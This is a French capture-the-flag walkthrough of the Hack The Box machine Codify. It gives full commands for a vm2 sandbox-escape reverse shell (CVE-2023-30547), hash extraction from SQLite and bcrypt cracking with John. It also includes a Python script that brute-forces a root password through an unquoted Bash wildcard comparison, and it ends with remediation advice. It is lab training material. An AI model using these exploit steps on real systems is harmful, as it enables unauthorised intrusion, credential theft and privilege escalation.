
Walkthrough pour Codify (Linux - Facile). Exploite l'exécution de code à distance (RCE) de vm2 (CVE-2023-30547), l'extraction du hash de la base SQLite, le cassage de Bcrypt avec John, et l'élévation de privilèges via une comparaison de wildcard Bash dans `mysql-backup.sh`.
Procédure complète de test d'intrusion et writeup pour la machine Codify sur Hack The Box.
| Champ | Valeur |
|---|---|
| Nom | Codify |
| OS | Linux |
| Difficulté | Facile |
| Concepts clés | vm2 RCE (CVE-2023-30547), énumération de base SQLite, cassage de Bcrypt, abus des motifs génériques Bash |
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
⬇️
[CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
⬇️
[SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
⬇️
[John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
⬇️
[Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]
Scan rapide des ports sur l'ensemble des 65 535 ports TCP pour découvrir les services ouverts :
Bash
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>
Énumération détaillée sur les ports 22, 80, 3000 :
Bash
nmap -sVC -p 22,80,3000 <TARGET_IP>
L'application web exécutée sur le port 3000 utilise une version vulnérable de la bibliothèque de bac à sable vm2 de Node.js.
Clonez le dépôt public de l'exploit :
Bash
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547
Démarrez un écouteur Netcat local sur votre machine d'attaque :
Bash
ncat -lnvp 4444
Exécutez l'exploit en ciblant l'application web vulnérable :
Bash
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444
Vérifiez votre shell d'accès initial :
Bash
whoami
Naviguez vers le répertoire web /var/www/contact et inspectez la base de données SQLite :
Bash
cd /var/www/contact
ls -la
sqlite3 tickets.db
Extrayez le hash bcrypt de Joshua :
SQL
SELECT password FROM users WHERE username='joshua';
(Appuyez sur CTRL + d pour quitter)
Cassez le hash extrait à l'aide de John the Ripper et de rockyou.txt :
Bash
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Authentifiez-vous via SSH avec les identifiants cassés de Joshua :
Bash
ssh joshua@<TARGET_IP>
cat user.txt
Vérifiez les commandes sudo autorisées pour l'utilisateur joshua :
Bash
sudo -l
Sortie : (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh
Inspectez /opt/scripts/mysql-backup.sh :
Bash
cat /opt/scripts/mysql-backup.sh
Vulnérabilité : Le script utilise une correspondance de motif non citée dans Bash ([[ $USER_PASS == $DB_PASS* ]]). Cela permet aux caractères génériques (*) présents dans l'entrée utilisateur de réaliser une attaque par force brute caractère par caractère contre le mot de passe réel.
Créez bruteforce.py pour extraire le mot de passe root caractère par caractère :
Python
import string
import subprocess
all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters:
# Test password + character + wildcard (*)
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(f"Found: {password}")
break
else:
found = True
print(f"Root Password: {password}")
Exécutez le script pour extraire le mot de passe :
Bash
python3 bruteforce.py
Passez dans le contexte de l'utilisateur root en utilisant le mot de passe extrait :
Bash
su root
cat /root/root.txt
Corrigez les bibliothèques Node.js : Dépréciez ou mettez à niveau les bibliothèques de bac à sable vulnérables telles que vm2 (CVE-2023-30547).
Sécurisez les scripts Bash : Mettez toujours les variables entre guillemets dans les opérations de comparaison de chaînes ([[ "$USER_PASS" == "$DB_PASS" ]]) afin d'éviter les correspondances de motif involontaires et l'injection de caractères génériques dans les scripts privilégiés.